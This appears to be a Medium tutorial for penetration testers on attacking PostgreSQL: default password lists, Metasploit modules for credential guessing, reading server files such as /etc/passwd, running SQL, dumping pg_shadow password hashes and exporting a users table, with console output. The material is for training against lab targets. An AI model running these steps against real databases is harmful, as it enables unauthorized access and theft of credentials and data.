Pentesters Guide to PostgreSQL Hacking

Another week another database… This time the juniors on the Team were crying out about PostgreSQL (or Postgres). Last week it was Oracle and likely next week will be MySQL? But depending on the application and the developers, different preferences or requirements — you can end up testing a different database each and every month of the year.

Image for post
Image for post
PostgreSQL Logo

Postgres at a network level

Any budding pentester of threat hunter, should understand port scanning and service enumeration to confirm the existence and accessibility of Postgres; hence we are not going to cover that topic here.

Postgres Targetting Accounts

However, a clever systems administrator can change this!

Default Passwords

  • postgres : postgres
  • postgres : password
  • postgres : admin
  • admin : admin
  • admin : password

Postgres & Metasploit

Discovery of Database Credentials

msf > auxiliary/scanner/postgres/postgres_loginmsf auxiliary(postgres_login) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf auxiliary(postgres_login) > run
[-]127.0.0.1:5432 - LOGIN FAILED: @template1 (Incorrect...
[-]127.0.0.1:5432 - LOGIN FAILED: tiger@template1 (Incorrect...
[-]127.0.0.1:5432 - LOGIN FAILED: postgres@template1 (Incorrect...
[-]127.0.0.1:5432 - LOGIN FAILED: password@template1 (Incorrect...
[+]127.0.0.1:5432 - LOGIN SUCCESSFUL: postgres:postgres@template1

Postgres_readfile

msf > use auxiliary/admin/postgres/postgres_readfile 
msf auxiliary(postgres_readfile) > show options
Module options (auxiliary/admin/postgres/postgres_readfile): Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
PASSWORD no The password for the specified username. Leave blank for a random password.
RFILE /etc/passwd yes The remote file
RHOST yes The target address
RPORT 5432 yes The target port
USERNAME postgres yes The username to authenticate as
VERBOSE false no Enable verbose output

In order to configure the module, we set the PASSWORD and RHOST values, set RFILE as the file we wish to read and let the module run.

msf auxiliary(postgres_readfile) > set PASSWORD toor
PASSWORD => toor
msf auxiliary(postgres_readfile) > set RFILE /etc/hosts
RFILE => /etc/hosts
msf auxiliary(postgres_readfile) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf auxiliary(postgres_readfile) > run
Query Text: 'CREATE TEMP TABLE UnprtSRXpcuMpN (INPUT TEXT);
COPY UnprtSRXpcuMpN FROM '/etc/hosts';
SELECT * FROM UnprtSRXpcuMpN'
======================================================================================================================================
input
-----
127.0.0.1 localhost
127.0.1.1 ph33r_the_p05tgr35
[*] Auxiliary module execution completed
msf auxiliary(postgres_readfile) >

Postgres_sql

msf > use auxiliary/admin/postgres/postgres_sql
msf auxiliary(postgres_sql) > show options
Module options (auxiliary/admin/postgres/postgres_sql): Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
PASSWORD no The password for the specified username. Leave blank for a random password.
RETURN_ROWSET true no Set to true to see query result sets
RHOST yes The target address
RPORT 5432 yes The target port
SQL select version() no The SQL query to execute
USERNAME postgres yes The username to authenticate as
VERBOSE false no Enable verbose output

The required configuration for this module is minimal as we will just set our PASSWORD and RHOST values, leave the default query to pull the server version, then let it run against our target.

msf auxiliary(postgres_sql) > set PASSWORD toor
PASSWORD => toor
msf auxiliary(postgres_sql) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf auxiliary(postgres_sql) > run
Query Text: 'select version()'
==============================
version
-------
PostgreSQL 8.3.8 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real (Ubuntu 4.3.2-1ubuntu11) 4.3.2
[*] Auxiliary module execution completed
msf auxiliary(postgres_sql) >

Database Access

# psql -h 192.168.100.11 -U postgres
Image for post
Image for post
Screenshot — demonstrating remote database access

Retrieving Password Hashes

msf > auxiliary/scanner/postgres/postgres_hashdump

or manually connected to the database:

postgres-# SELECT usename, passwd FROM pg_shadow;

Dumping the database

# pg_dump --host=192.168.100.11 --username=postgres --password --dbname=template1 --table='users' -f output_pgdump

Conclusion

There is usually a vulnerable Postgres install on the Metasploitable CTF ISOs. They are easily found on Bit-Torrent trackers as a legal download. Or download the Open Source package, and install it yourself in a VM, docker container, or your own system.

Remember, to only practise Postgres attacks on your own legally owned systems!

Disclaimer

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch

Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore

Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store